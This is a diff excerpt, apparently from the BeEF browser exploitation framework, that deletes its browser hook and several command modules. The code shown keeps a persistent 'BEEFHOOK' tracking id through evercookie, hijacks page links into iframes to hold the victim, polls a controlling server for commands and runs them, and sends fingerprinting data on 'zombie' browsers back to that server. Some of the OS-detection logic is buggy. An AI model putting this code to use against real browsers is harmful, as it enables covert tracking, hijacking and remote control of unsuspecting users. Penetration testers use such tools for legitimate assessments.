isQNX: function() {
return (this.ua.indexOf('QNX')) ? true : false;
},
isBeOS: function() {
return (this.ua.indexOf('BeOS')) ? true : false;
},
getName: function() {
//windows
if(this.isWin311()) return 'Windows 3.11';
if(this.isWinNT4()) return 'Windows NT 4';
if(this.isWin95()) return 'Windows 95';
if(this.isWin95()) return 'Windows 98';
if(this.isWin98()) return 'Windows 98';
if(this.isWinME()) return 'Windows Millenium';
if(this.isWin2000()) return 'Windows 2000';
if(this.isWinXP()) return 'Windows XP';
if(this.isWinServer2003()) return 'Windows Server 2003';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
//linux
if(this.isLinux()) return 'Linux';
if(this.isSunOS()) return 'Sun OS';
//iPhone
if (this.isIphone()) return 'iPhone';
//iPad
if (this.isIpad()) return 'iPad';
//macintosh
if(this.isMacintosh()) {
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
return navigator.oscpu;
return 'Macintosh';
}
//others
if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS';
return 'unknown';
}
};
beef.regCmp('beef.net.os');

View File

@@ -1,85 +0,0 @@
/*!
* @literal object: beef.session
*
* Provides basic session functions.
*/
beef.session = {
hook_session_id_length: 80,
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
ec: new evercookie(),
/**
* Gets a string which will be used to identify the hooked browser session
*
* @example: var hook_session_id = beef.session.get_hook_session_id();
*/
get_hook_session_id: function() {
// check if the browser is already known to the framework
var id = this.ec.evercookie_cookie("BEEFHOOK");
if (typeof id == 'undefined') {
var id = this.ec.evercookie_userdata("BEEFHOOK");
}
if (typeof id == 'undefined') {
var id = this.ec.evercookie_window("BEEFHOOK");
}
// if the browser is not known create a hook session id and set it
if (typeof id == 'undefined') {
id = this.gen_hook_session_id();
this.set_hook_session_id(id);
}
// return the hooked browser session identifier
return id;
},
/**
* Sets a string which will be used to identify the hooked browser session
*
* @example: beef.session.set_hook_session_id('RANDOMSTRING');
*/
set_hook_session_id: function(id) {
// persist the hook session id
this.ec.evercookie_cookie("BEEFHOOK", id);
this.ec.evercookie_userdata("BEEFHOOK", id);
this.ec.evercookie_window("BEEFHOOK", id);
},
/**
* Generates a random string using the chars in hook_session_id_chars.
*
* @example: beef.session.gen_hook_session_id();
*/
gen_hook_session_id: function() {
// init the return value
var hook_session_id = "";
// construct the random string
for(var i=0; i<this.hook_session_id_length; i++) {
var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
hook_session_id += this.hook_session_id_chars.charAt(rand_num);
}
return hook_session_id;
},
/**
* Overrides each link, and creates an iframe (loading the href) instead of following the link
*/
persistant: function() {
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
}
});
}
};
beef.regCmp('beef.session');

View File

@@ -1,80 +0,0 @@
/*!
* @Literal object: beef.updater
*
* Object in charge of getting new commands from the BeEF framework and execute them.
*/
beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 10000,
// A lock.
lock: false,
// An object containing all values to be registered and sent by the updater.
objects: new Object(),
/*
* Registers an object to always send when requesting new commands to the framework.
* @param: {String} the name of the object.
* @param: {String} the value of that object.
*
* @example: beef.updater.regObject('java_enabled', 'true');
*/
regObject: function(key, value) {
this.objects[key] = escape(value);
},
// Checks for new commands from the framework and runs them.
check: function() {
if(this.lock == false) {
if (beef.logger.running) {
beef.logger.queue();
}
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}
}
setTimeout("beef.updater.check();", beef.updater.timeout);
},
// Gets new commands from the framework.
get_commands: function(http_response) {
try {
this.lock = true;
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
} catch(e) {
this.lock = false;
return;
}
this.lock = false;
},
// Executes the received commands if any.
execute_commands: function() {
if(beef.commands.length == 0) return;
this.lock = true;
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
command();
} catch(e) {
console.error('execute_commands - command failed to execute: ' + e.message);
}
}
this.lock = false;
}
}
beef.regCmp('beef.updater');

View File

@@ -1,56 +0,0 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var browser_type = serialize(beef.browser.type());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'browser_type='+browser_type);
});

View File

@@ -1,39 +0,0 @@
module BeEF
module Modules
module Commands
class Detect_details < BeEF::Command
def initialize
super({
'Name' => 'Browser Type',
'Description' => %Q{
This module will retrieve the selected zombie browser details.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Browser type'] = @datastore['browser_type']
save content
#update_zombie!
end
end
end
end
end

View File

@@ -1,56 +0,0 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var plugins = beef.browser.getPlugins();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins);
});

View File

@@ -1,39 +0,0 @@
module BeEF
module Modules
module Commands
class Detect_plugins < BeEF::Command
def initialize
super({
'Name' => 'Installed Plugins',
'Description' => %Q{
This module will retrieve the selected zombie browser plugins.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Plugins'] = @datastore['plugins']
save content
#update_zombie!
end
end
end
end
end

View File

@@ -1,57 +0,0 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var screen_params = serialize(beef.browser.getScreenParams());
var window_size = serialize(beef.browser.getWindowSize());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'screen_params='+screen_params+'&window_size='+window_size);
});

View File

@@ -1,40 +0,0 @@
module BeEF
module Modules
module Commands
class Detect_screen_details < BeEF::Command
def initialize
super({
'Name' => 'Screen Details',
'Description' => %Q{
This module will retrieve the selected zombie screen dimensions.'
},
'Category' => 'Browser',
'Author' => ['wade','vo','passbe','saafan'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_WORKING,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Screen Parameters'] = @datastore['screen_params']
content['Window Size'] = @datastore['window_size']
save content
#update_zombie!
end
end
end
end
end

View File

@@ -1,60 +0,0 @@
beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears);
});

Some files were not shown because too many files have changed in this diff Show More